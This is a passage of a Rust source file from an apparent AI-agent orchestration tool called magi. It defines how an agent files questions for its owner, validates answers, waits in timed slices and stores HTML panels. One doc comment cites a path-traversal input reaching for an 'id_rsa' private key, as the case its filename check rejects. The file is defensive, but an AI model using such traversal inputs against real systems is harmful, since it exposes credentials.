Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`] and now [`Question::answer_timeout`] - when a
45/// new field is added that a much older magi has no notion of at all.
46///
47/// The web UI is written against this shape by hand - there is no shared schema
48/// between the front end and this struct - so a field that changes meaning
49/// without a bump here is a UI that lies silently.
50///
51/// A file is refused only when its own `schema` is *greater* than this one -
52/// see [`read_path`] - never merely different: `#[serde(default)]` on every
53/// field added since 1 is what makes an older file's absence of `thread` mean
54/// "no conversation yet" rather than "unreadable", and a strict equality check
55/// would turn every bump into an upgrade that breaks reading yesterday's
56/// question files.
57pub const SCHEMA: u32 = 3;
58
59/// How often the wait re-reads the question file.
60///
61/// Three seconds: the answer comes from a human on a phone, so the difference
62/// between three seconds and three hundred milliseconds is invisible to them,
63/// while a tight loop would `stat` and parse a file thousands of times per
64/// minute for a wait that routinely lasts hours. Nothing is held between polls -
65/// no lock, no open handle - because `magi web` and `magi answer` write the
66/// same file from other processes.
67const POLL: Duration = Duration::from_secs(3);
68
69/// How long an agent's reply may go unnoticed before it earns its own
70/// notification.
71///
72/// An operator reading the card when the agent replies does not need paging
73/// again for a conversation they are already in; one who walked away still
74/// needs the tap on the shoulder. Five minutes is a judgement call about that
75/// line, not a policy a repository has an opinion about, which is why it lives
76/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
77/// whether they are still looking at the phone, and neither can this build, so
78/// there is nothing for a per-repository setting to be *right* about.
79const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
80
81/// How long the operator's notification command may run before it is killed.
82///
83/// A webhook that hangs must not hang the run. Twenty seconds is long enough
84/// for a slow HTTP round trip and short enough that the operator still gets the
85/// question filed and the run parked in a bounded time.
86const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
87
88/// The longest a single `magi ask` invocation may block on the owner before
89/// it hands the wait back to whatever is running it, rather than to
90/// [`Question::abandon`].
91///
92/// `answer_timeout` defaults to a day, and that is a deadline for the
93/// *question*, not a budget the calling process is free to spend all at
94/// once: an agent CLI's own shell tool kills a command that runs much longer
95/// than this, and the child it kills is `magi ask` itself - the one thing
96/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
97/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
98/// out, and the seat's own summary said it had backgrounded the blocking
99/// `magi ask` and would "continue once the owner replies" - except nothing
100/// was left to notice the reply. The seat exited `completed`, the
101/// backgrounded child died with it, and the owner's eventual answer on the
102/// web UI had nobody left to read it.
103///
104/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
105/// and returns [`Wait::Pending`] if nothing happened, which is not a
106/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
107/// process the tool timeout has never seen. Four minutes leaves a ten-minute
108/// tool budget room for the CLI's own startup and the notification's round
109/// trip, while staying long enough that an owner who answers within the hour
110/// is not making an agent loop through fifteen slices to hear about it.
111const WAIT_SLICE: Duration = Duration::from_secs(240);
112
113/// Environment variable naming the base URL of the web UI, for `{url}`.
114///
115/// A run cannot discover this by itself: `magi web` is a different process,
116/// usually started by hand and often on a different machine on the tailnet, and
117/// the address it settled on (Tailscale IP, port, or the fallback it warned
118/// about) exists only in that process. So the operator names it once, in the
119/// environment `magi serve` runs in - `magi web --open` prints exactly the
120/// string to use on stdout. Unset means `{url}` expands to nothing rather than
121/// to a guess: a notification carrying a link to an address nothing is
122/// listening on is worse than one carrying no link at all.
123pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
124
125/// Largest panel magi will store, html plus assets.
126///
127/// Checked as a total, before a single byte is written, because the failure
128/// this prevents is not a full disk but a half-copied panel: an agent that
129/// points at a 200 MB screen recording must get one clean error, not a
130/// directory holding the three small files that fitted before the copy died.
131/// Eight mebibytes is far more than a diff, a table and a handful of images
132/// need, and small enough that a phone on a hotel link still renders it.
133pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
134
135/// Suffix of the directory holding one question's panel.
136///
137/// A sibling of `<id>.json` rather than a subdirectory of the store, so
138/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
139/// see it, and so a panel travels with the question it belongs to.
140const PANEL_DIR: &str = ".panel";
141
142/// The panel's entry point inside its directory.
143const PANEL_HTML: &str = "index.html";
144
145/// Scratch directory a panel is assembled in before it is swapped into place.
146const PANEL_TMP: &str = ".panel.tmp";
147
148/// The one asset filename rule, applied on write **and** on read.
149///
150/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
151/// containing `..`. The pattern is this narrow because the name arrives from
152/// two untrusted directions and is then joined onto a path: an agent naming
153/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
154/// character that could change what the join means is outside the set - `/`
155/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
156/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
157/// refused, which matters because on Windows `Path::join` with an absolute
158/// path *discards the whole prefix* and would serve any file on the disk.
159/// `..` is refused anywhere rather than only at the front so the rule reads
160/// the same as the sentence "no traversal" to anyone auditing it.
161///
162/// The length bound keeps a name inside every filesystem's limit, so a panel
163/// that stores cannot fail to store on the operator's other machine.
164pub fn valid_asset_name(name: &str) -> bool {
165    if name.is_empty() || name.len() > 64 || name.contains("..") {
166        return false;
167    }
168    let mut chars = name.chars();
169    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
170        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
171}
172
173/// Where a question is in its life.
174#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
175#[serde(rename_all = "lowercase")]
176pub enum QuestionStatus {
177    /// Asked, and waiting for the owner. A run is parked behind it.
178    Open,
179    /// The owner decided. [`Question::answer`] holds what they said.
180    Answered,
181    /// Nobody answered in time, or the question outlived the run that asked.
182    /// Kept rather than deleted: what was asked and never answered is the
183    /// evidence that the operator was the bottleneck.
184    Abandoned,
185}
186
187impl QuestionStatus {
188    /// Is a run still parked behind this question?
189    pub fn open(self) -> bool {
190        matches!(self, Self::Open)
191    }
192
193    /// Lowercase name, as it appears on disk and in the API.
194    pub fn as_str(self) -> &'static str {
195        match self {
196            Self::Open => "open",
197            Self::Answered => "answered",
198            Self::Abandoned => "abandoned",
199        }
200    }
201}
202
203/// What the owner said.
204///
205/// Two shapes rather than one string because the question decides which is
206/// admissible, and [`Question::answer`] enforces it. A phone that posts
207/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
208/// front end, and it is caught here rather than handed to an agent as fact.
209#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
210#[serde(rename_all = "lowercase")]
211pub enum Answer {
212    /// One of the offered choices, verbatim.
213    Choice(String),
214    /// Free text, for a question that offered no choices.
215    Text(String),
216}
217
218/// Who wrote one turn of a question's conversation.
219///
220/// Two values, not three: [`Question::thread`] is the record of a single
221/// question stopping and resuming, and the agent that resumes it is always
222/// the one that asked - a fresh consultant would have to be caught up on
223/// everything the first agent already knows, which is the round trip this
224/// module exists to avoid. The names and the wire spelling deliberately match
225/// [`crate::chat::Who`], which this module does not depend on: the two are the
226/// same idea in two products, and giving them the same shape is what lets the
227/// phone render both with one component.
228#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
229#[serde(rename_all = "lowercase")]
230pub enum Who {
231    /// The person the agent asked.
232    Operator,
233    /// The agent that asked, replying to a question of its own rather than
234    /// answering.
235    Agent,
236}
237
238/// One turn in a question's back-and-forth, after the question itself was
239/// asked.
240///
241/// The question's own `summary`/`detail`/`choices` already carry the agent's
242/// opening move, so a turn only exists from the moment the owner talks back -
243/// [`Question::thread`] starts empty and stays that way for the overwhelming
244/// majority of questions, which are answered on the first read.
245#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(deny_unknown_fields)]
247pub struct Turn {
248    /// Who said it.
249    pub who: Who,
250    /// What they said.
251    pub body: String,
252    /// When they said it.
253    pub at: Timestamp,
254}
255
256/// One decision magi will not take on the owner's behalf.
257#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
258#[serde(deny_unknown_fields)]
259pub struct Question {
260    /// On-disk format version.
261    pub schema: u32,
262    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
263    /// task's, so the operator can paste any of them at any prefix argument.
264    pub id: String,
265    /// Run that is parked behind this question.
266    pub run: String,
267    /// Graph node the asking agent was working in, e.g. `implement`.
268    pub node: String,
269    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
270    /// this" decides whether the answer unblocks one candidate or all of them.
271    pub seat: String,
272    /// One line: the question itself. This is what a notification carries and
273    /// what the phone shows above the answer controls.
274    pub summary: String,
275    /// The reasoning behind the question, as markdown. May be long, may be
276    /// empty. Rendered as text nodes by the UI, never as markup.
277    pub detail: String,
278    /// The admissible answers. **Empty means free text** - that one condition
279    /// is the whole difference between the two kinds of question, on disk, in
280    /// the UI, and in [`Question::answer`]'s validation.
281    pub choices: Vec<String>,
282    /// Does this question have an agent-authored HTML panel beside it?
283    ///
284    /// Serialised with a default so a question written by an older magi - or
285    /// by hand - still deserialises rather than failing the whole store, which
286    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
287    /// open question the operator was looking for.
288    #[serde(default)]
289    pub panel: bool,
290    /// Files copied in beside the panel's html, by base name, sorted.
291    ///
292    /// The list exists so a reader knows what a panel is made of without
293    /// walking the directory, and every entry satisfies [`valid_asset_name`].
294    /// Sorted because it is compared - a question re-asked with the same
295    /// assets in a different argument order is not a different question.
296    #[serde(default)]
297    pub assets: Vec<String>,
298    /// Current state.
299    pub status: QuestionStatus,
300    /// When the agent asked.
301    pub asked_at: Timestamp,
302    /// When the owner answered, if they did.
303    pub answered_at: Option<Timestamp>,
304    /// What they said.
305    pub answer: Option<Answer>,
306    /// Everything said after the question itself, oldest first: the owner
307    /// asking back, the agent replying, as many times as it takes before an
308    /// [`Answer`] lands.
309    ///
310    /// `#[serde(default)]` so a question written before this field existed -
311    /// every question on disk before this build - still deserialises as one
312    /// with no conversation yet, rather than failing [`Questions::list`]'s
313    /// read and quietly hiding an open question from the operator.
314    #[serde(default)]
315    pub thread: Vec<Turn>,
316    /// The `answer_timeout`, in seconds, that was in force when this question
317    /// was first asked. `0` means unrecorded - a question written before this
318    /// field existed, or one filed by a flow (land's merge-approval gate)
319    /// that never sets it because it never resumes a sliced wait.
320    ///
321    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
322    /// or the config default) is decided by the caller, after the question
323    /// already exists - so it starts at `0` here and whoever files a fresh
324    /// question sets it once, the same way [`Question::panel`] is set by
325    /// [`Questions::put_panel`] rather than by the constructor. It is never
326    /// touched again: `magi ask --wait` reads it as the one deadline it is
327    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
328    /// on a later call can never quietly extend or shrink the budget the
329    /// question was actually asked with.
330    #[serde(default)]
331    pub answer_timeout: u64,
332}
333
334impl Question {
335    /// Ask something. Persist it with [`Questions::put`], or hand it to
336    /// [`ask_and_wait`], which files it and waits.
337    pub fn new(
338        run: String,
339        node: String,
340        seat: String,
341        summary: String,
342        detail: String,
343        choices: Vec<String>,
344    ) -> Self {
345        Self {
346            schema: SCHEMA,
347            id: new_id(),
348            run,
349            node,
350            seat,
351            summary,
352            detail,
353            choices,
354            panel: false,
355            assets: Vec::new(),
356            status: QuestionStatus::Open,
357            asked_at: Timestamp::now(),
358            answered_at: None,
359            answer: None,
360            thread: Vec::new(),
361            answer_timeout: 0,
362        }
363    }
364
365    /// Short form used in reports and on the phone, matching a run's short id.
366    pub fn short(&self) -> &str {
367        short(&self.id)
368    }
369
370    /// Does this question want free text rather than one of a set?
371    pub fn free_text(&self) -> bool {
372        self.choices.is_empty()
373    }
374
375    /// Record an answer. Rejects a choice the question does not offer, free
376    /// text on a multiple-choice question, an empty answer, and a second
377    /// answer.
378    ///
379    /// Every rejection here is a case where accepting would put a fabrication
380    /// in front of an agent as if the owner had said it. The messages are
381    /// distinct because the caller is a web handler that shows them verbatim,
382    /// and "that is not one of the choices" and "this question is multiple
383    /// choice" are different mistakes with different fixes.
384    pub fn answer(&mut self, answer: Answer) -> Result<()> {
385        match self.status {
386            QuestionStatus::Answered => bail!(
387                "question {} was already answered; the run has moved on and a \
388                 second answer would be a decision nobody acted on",
389                self.short()
390            ),
391            QuestionStatus::Abandoned => bail!(
392                "question {} was abandoned and the run behind it is gone",
393                self.short()
394            ),
395            QuestionStatus::Open => {}
396        }
397        let body = match &answer {
398            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
399        };
400        if body.trim().is_empty() {
401            bail!(
402                "question {} needs an answer; an empty one tells the agent \
403                 nothing and it would guess anyway",
404                self.short()
405            );
406        }
407        match &answer {
408            Answer::Choice(c) if self.free_text() => bail!(
409                "question {} asks for free text, so `{c}` cannot be a choice \
410                 it offered",
411                self.short()
412            ),
413            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
414                "`{c}` is not one of the choices question {} offers: {}",
415                self.short(),
416                self.choices.join(", ")
417            ),
418            Answer::Text(_) if !self.free_text() => bail!(
419                "question {} is multiple choice; answer with one of: {}",
420                self.short(),
421                self.choices.join(", ")
422            ),
423            _ => {}
424        }
425        self.answered_at = Some(Timestamp::now());
426        self.answer = Some(answer);
427        self.status = QuestionStatus::Answered;
428        Ok(())
429    }
430
431    /// Give up on an answer, keeping the record of what was asked.
432    ///
433    /// An answered question is left alone, which matters at exactly one moment:
434    /// the owner answering in the same second the wait's deadline passes. The
435    /// answer is the thing worth keeping there, and it has already been written
436    /// by another process.
437    ///
438    /// The reason is appended to [`Question::detail`] because the on-disk shape
439    /// is a contract with the front end and has no field of its own for it -
440    /// and "asked at 3am, nobody home for a day" belongs with the question, not
441    /// only in a log the operator will never open.
442    pub fn abandon(&mut self, why: impl Into<String>) {
443        if !self.status.open() {
444            return;
445        }
446        self.status = QuestionStatus::Abandoned;
447        let why = why.into();
448        let why = why.trim();
449        if why.is_empty() {
450            return;
451        }
452        if !self.detail.is_empty() {
453            self.detail.push('\n');
454        }
455        self.detail.push_str("\n_Abandoned: ");
456        self.detail.push_str(why);
457        self.detail.push_str("._\n");
458    }
459
460    /// The answer as the asking agent should read it.
461    ///
462    /// One string for both kinds of question: the agent's prompt says "the
463    /// owner answered:", and a chosen option and a typed sentence are the same
464    /// thing at that point. `None` while the question is open or abandoned, so
465    /// a caller cannot mistake silence for a decision.
466    pub fn resolution(&self) -> Option<String> {
467        match (self.status, &self.answer) {
468            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
469                Some(a.clone())
470            }
471            _ => None,
472        }
473    }
474
475    /// The owner speaking back without answering: a request for context, a
476    /// clarifying question, anything short of a decision.
477    ///
478    /// Rejects the same two states [`Question::answer`] does, and for the same
479    /// reason - a question with a recorded [`Answer`] or an abandoned one has
480    /// no run left listening for a reply - and an empty turn, which would tell
481    /// the agent nothing it didn't already know. Never changes `status`: the
482    /// question stays [`QuestionStatus::Open`], because the owner did not
483    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
484    /// counting this as the one question it always was.
485    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
486        match self.status {
487            QuestionStatus::Answered => bail!(
488                "question {} was already answered; there is nothing left to \
489                 discuss",
490                self.short()
491            ),
492            QuestionStatus::Abandoned => bail!(
493                "question {} was abandoned and the run behind it is gone",
494                self.short()
495            ),
496            QuestionStatus::Open => {}
497        }
498        let body = body.into();
499        if body.trim().is_empty() {
500            bail!("a message to question {} cannot be empty", self.short());
501        }
502        self.thread.push(Turn {
503            who: Who::Operator,
504            body,
505            at: Timestamp::now(),
506        });
507        Ok(())
508    }
509
510    /// The agent replying to the owner's last word, in place of an answer:
511    /// same question, same id, another round.
512    ///
513    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
514    /// on the same reasoning [`Questions::put_panel`] replaces a panel
515    /// wholesale: the whole point of asking back is that what should be
516    /// offered next may have changed, and a caller that wanted the old set
517    /// unchanged can simply pass it again. An empty `Vec` means free text,
518    /// exactly as it does when the question is first asked.
519    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
520        match self.status {
521            QuestionStatus::Answered => bail!(
522                "question {} was already answered; replying now would not \
523                 reach anyone",
524                self.short()
525            ),
526            QuestionStatus::Abandoned => bail!(
527                "question {} was abandoned and the run behind it is gone",
528                self.short()
529            ),
530            QuestionStatus::Open => {}
531        }
532        let body = body.into();
533        if body.trim().is_empty() {
534            bail!("a reply to question {} cannot be empty", self.short());
535        }
536        self.choices = choices;
537        self.thread.push(Turn {
538            who: Who::Agent,
539            body,
540            at: Timestamp::now(),
541        });
542        Ok(())
543    }
544
545    /// Is the ball in the agent's court?
546    ///
547    /// True from the moment the owner speaks back until the agent's next
548    /// [`Question::reply`], and never on a fresh or an already-settled
549    /// question. [`QuestionStatus`] does not move for either side of this -
550    /// see [`Question::say`] - so this is the one place that state is
551    /// readable at all, which is why [`crate::web::QuestionView`] carries it
552    /// separately rather than asking the phone to infer it from the thread.
553    pub fn waiting_on_agent(&self) -> bool {
554        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
555    }
556
557    /// Should a notification go out right now?
558    ///
559    /// Always, for the very first ask: [`Question::thread`] is still empty, so
560    /// there is no earlier operator turn to have already caught anyone's
561    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
562    /// since the owner's own last word - see that constant for why the window
563    /// exists at all and why its length is not configurable.
564    fn should_notify(&self, now: Timestamp) -> bool {
565        let Some(last) = self
566            .thread
567            .iter()
568            .rev()
569            .find(|t| t.who == Who::Operator)
570            .map(|t| t.at)
571        else {
572            return true;
573        };
574        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
575    }
576}
577
578/// A question store on disk.
579#[derive(Debug, Clone)]
580pub struct Questions {
581    root: PathBuf,
582}
583
584impl Questions {
585    /// The operator's questions, `<home>/questions`.
586    pub fn open() -> Self {
587        Self::at(crate::run::home().join("questions"))
588    }
589
590    /// A store at an explicit root. Tests use this, which is why none of them
591    /// need the operator's real home.
592    pub fn at(root: PathBuf) -> Self {
593        Self { root }
594    }
595
596    /// Directory holding the question files.
597    pub fn root(&self) -> &Path {
598        &self.root
599    }
600
601    /// Path for one question id.
602    pub fn path_of(&self, id: &str) -> PathBuf {
603        self.root.join(format!("{id}.json"))
604    }
605
606    /// Directory holding one question's panel, `<root>/<id>.panel`.
607    pub fn panel_dir(&self, id: &str) -> PathBuf {
608        self.root.join(format!("{id}{PANEL_DIR}"))
609    }
610
611    /// Store a panel: the html, plus `assets` copied in under their base
612    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
613    /// question, or the record on disk will deny having a panel that exists.
614    ///
615    /// The assets are **copied, not referenced**. An agent authors its panel
616    /// inside a candidate worktree and points at files there, and `magi fold`
617    /// deletes those worktrees; a question is the permanent record of a
618    /// decision the owner took, so a panel that referenced its own images
619    /// would render as broken boxes exactly when someone went back to ask why
620    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
621    /// does, and so does the [`std::fs::metadata`] the size is measured with,
622    /// so the bytes counted and the bytes written are the same target file's -
623    /// which is the intent: storing a link would leave the panel pointing at
624    /// the worktree again, one indirection further away.
625    ///
626    /// Everything that can be rejected is rejected before the first byte is
627    /// written, and the panel is then assembled in a scratch directory and
628    /// swapped in. So a refusal leaves the previous panel intact, and a
629    /// success replaces it *wholesale* rather than merging: a re-asked
630    /// question showing one attempt's diff next to another attempt's table
631    /// would be a panel neither agent ever wrote.
632    ///
633    /// [`put`]: Questions::put
634    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
635        if !valid_asset_name(&q.id) {
636            bail!(
637                "question id `{}` is not a name magi will build a panel path from",
638                q.id
639            );
640        }
641        if html.trim().is_empty() {
642            bail!(
643                "question {} was handed an empty panel; an empty frame reads to \
644                 the owner as \"the agent had nothing to say\", which is a lie",
645                q.short()
646            );
647        }
648
649        // Names, then sizes, then writing - in that order, so nothing below
650        // can leave a partial panel on disk.
651        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
652        for src in assets {
653            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
654            if !valid_asset_name(name) {
655                bail!(
656                    "panel asset `{}` cannot be stored: a panel file name must \
657                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
658                    src.display()
659                );
660            }
661            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
662                bail!(
663                    "two panel assets are both named `{name}` - {} and {} - and \
664                     the panel can only show one of them; rename one at the source",
665                    first.display(),
666                    src.display()
667                );
668            }
669            named.push((name.to_owned(), src.as_path()));
670        }
671
672        let mut total = html.len() as u64;
673        for (_, src) in &named {
674            let meta = std::fs::metadata(src)
675                .with_context(|| format!("stat panel asset {}", src.display()))?;
676            if !meta.is_file() {
677                bail!(
678                    "panel asset `{}` is not a file; a panel is html plus files \
679                     copied beside it",
680                    src.display()
681                );
682            }
683            total = total.saturating_add(meta.len());
684        }
685        if total > PANEL_MAX_BYTES {
686            bail!(
687                "panel for question {} is {total} bytes, over magi's cap of \
688                 {PANEL_MAX_BYTES} bytes; nothing was written",
689                q.short()
690            );
691        }
692
693        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
694        let dir = self.panel_dir(&q.id);
695        std::fs::create_dir_all(&self.root)
696            .with_context(|| format!("create {}", self.root.display()))?;
697        clear_dir(&tmp)?;
698        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
699        if let Err(e) = fill_panel(&tmp, html, &named) {
700            // A copy that dies halfway must not become the panel, and must not
701            // leave scratch behind for the next call to inherit.
702            let _ = std::fs::remove_dir_all(&tmp);
703            return Err(e);
704        }
705        clear_dir(&dir)?;
706        std::fs::rename(&tmp, &dir)
707            .with_context(|| format!("move panel into {}", dir.display()))?;
708
709        q.panel = true;
710        q.assets = named.into_iter().map(|(n, _)| n).collect();
711        q.assets.sort_unstable();
712        Ok(())
713    }
714
715    /// The panel's html, or `None` when the question has no panel.
716    ///
717    /// `None` rather than an error for a missing panel because the caller is a
718    /// web handler whose answer is 404 either way, and an unreadable panel is
719    /// not a reason to fail the question it belongs to.
720    pub fn panel_html(&self, id: &str) -> Option<String> {
721        if !valid_asset_name(id) {
722            return None;
723        }
724        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
725    }
726
727    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
728    /// not a name a panel file can have".
729    ///
730    /// Rejects a name failing [`valid_asset_name`] **before touching the
731    /// filesystem**, which is the whole point of the second check: the name
732    /// arrives from a URL, the directory is on disk where any process could
733    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
734    /// operating system would resolve perfectly happily. The two callers'
735    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
736    /// `Result<Option<_>>` rather than one flattened `Option`.
737    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
738        if !valid_asset_name(name) {
739            bail!(
740                "`{name}` is not a panel file name; it must match \
741                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
742            );
743        }
744        if !valid_asset_name(id) {
745            return Ok(None);
746        }
747        let dir = self.panel_dir(id);
748        if !dir.is_dir() {
749            return Ok(None);
750        }
751        let path = dir.join(name);
752        match std::fs::read(&path) {
753            Ok(bytes) => Ok(Some(bytes)),
754            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
755            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
756        }
757    }
758
759    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
760    ///
761    /// Succeeds when there is nothing to delete, so a caller cleaning up does
762    /// not have to know whether a panel was ever written. The question record
763    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
764    /// in the same order as everywhere else here.
765    ///
766    /// [`put_panel`]: Questions::put_panel
767    pub fn drop_panel(&self, id: &str) -> Result<()> {
768        if !valid_asset_name(id) {
769            bail!("question id `{id}` is not a name magi will build a panel path from");
770        }
771        clear_dir(&self.panel_dir(id))?;
772        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
773    }
774
775    /// Write a question, atomically, so a process killed mid-write leaves the
776    /// previous state readable rather than a truncated file that would strand
777    /// the run waiting on it.
778    pub fn put(&self, q: &mut Question) -> Result<()> {
779        std::fs::create_dir_all(&self.root)
780            .with_context(|| format!("create {}", self.root.display()))?;
781        let body = serde_json::to_string_pretty(q).context("serialize question")?;
782        let path = self.path_of(&q.id);
783        let tmp = path.with_extension("json.tmp");
784        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
785        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
786        Ok(())
787    }
788
789    /// Load a question by id or unambiguous id prefix.
790    pub fn get(&self, id: &str) -> Result<Question> {
791        let resolved = self.resolve_id(id)?;
792        read_path(&self.path_of(&resolved))
793    }
794
795    /// Every question on disk: open first, then newest first.
796    ///
797    /// Open first because that ordering is the product - the list exists to
798    /// show the operator what has stopped, and an answered question is history
799    /// underneath it. Unreadable files are skipped rather than fatal: one
800    /// corrupt question must not take the web UI down, and must certainly not
801    /// hide the open question the operator was looking for.
802    pub fn list(&self) -> Vec<Question> {
803        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
804            .into_iter()
805            .flatten()
806            .flatten()
807            .map(|e| e.path())
808            .filter(|p| p.extension().is_some_and(|x| x == "json"))
809            .filter_map(|p| read_path(&p).ok())
810            .collect();
811        all.sort_unstable_by(|a, b| {
812            let rank = |q: &Question| u8::from(!q.status.open());
813            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
814        });
815        all
816    }
817
818    /// Open questions belonging to one run, newest first.
819    ///
820    /// Used to decide whether a parked run can be resumed: while this is
821    /// non-empty, nothing about the run has changed and no agent should be
822    /// spawned for it.
823    pub fn open_for(&self, run: &str) -> Vec<Question> {
824        self.list()
825            .into_iter()
826            .filter(|q| q.status.open() && q.run == run)
827            .collect()
828    }
829
830    /// Abandon every open question belonging to a run, and report how many.
831    ///
832    /// Called when a run's record is deleted. The agent that asked died with
833    /// the run, so there is nobody left to hand an answer to, and a question
834    /// left open would keep asking the operator for a decision that can no
835    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
836    /// イルが見つかりません" with two buttons, for a run whose directory had
837    /// been gone for two hours.
838    ///
839    /// Abandoned rather than deleted, because [`Question::abandon`] already
840    /// means "this can no longer be answered" and the record of having asked
841    /// is worth keeping. Answered questions are left exactly as they are.
842    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
843        let mut abandoned = 0;
844        for mut q in self.open_for(run) {
845            q.abandon(why);
846            self.put(&mut q)?;
847            abandoned += 1;
848        }
849        Ok(abandoned)
850    }
851
852    /// Abandon a run's open questions once `status` says the run is not
853    /// coming back, worded with what it actually became.
854    ///
855    /// The run-deleted case above and this one are the same fact - nobody is
856    /// left to read an answer - reached by two different doors. This is the
857    /// one for a run that finished on its own: merged, reached `Ready` with
858    /// nothing left to do, failed outright with no established point to
859    /// resume from, or every candidate agreed, with evidence, that nothing
860    /// belonged in the worktree. Those are exactly the statuses
861    /// [`RunStatus::resumable`]
862    /// excludes, and that is the line this draws too - deliberately not
863    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
864    /// over. Both of those can still be picked back up with the candidates,
865    /// the review round and the seat sessions already on disk, so a question
866    /// asked mid-round may yet get a real answer from a real resume, and
867    /// folding it here would be exactly the mistake this function exists to
868    /// avoid on the other side - answering back into a run that no longer
869    /// exists to read it.
870    ///
871    /// A no-op, not an error, when `status` is still resumable or when there
872    /// was nothing open to begin with - callers reach this from more than one
873    /// place a run can settle, and a second call finding nothing left to
874    /// abandon is the expected case, not a bug.
875    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
876        if status.resumable() {
877            return Ok(0);
878        }
879        let why = format!(
880            "run {run} {}, so nothing is waiting for this answer",
881            status.as_str()
882        );
883        // A post-merge notice is the exception: it is filed *because* the run
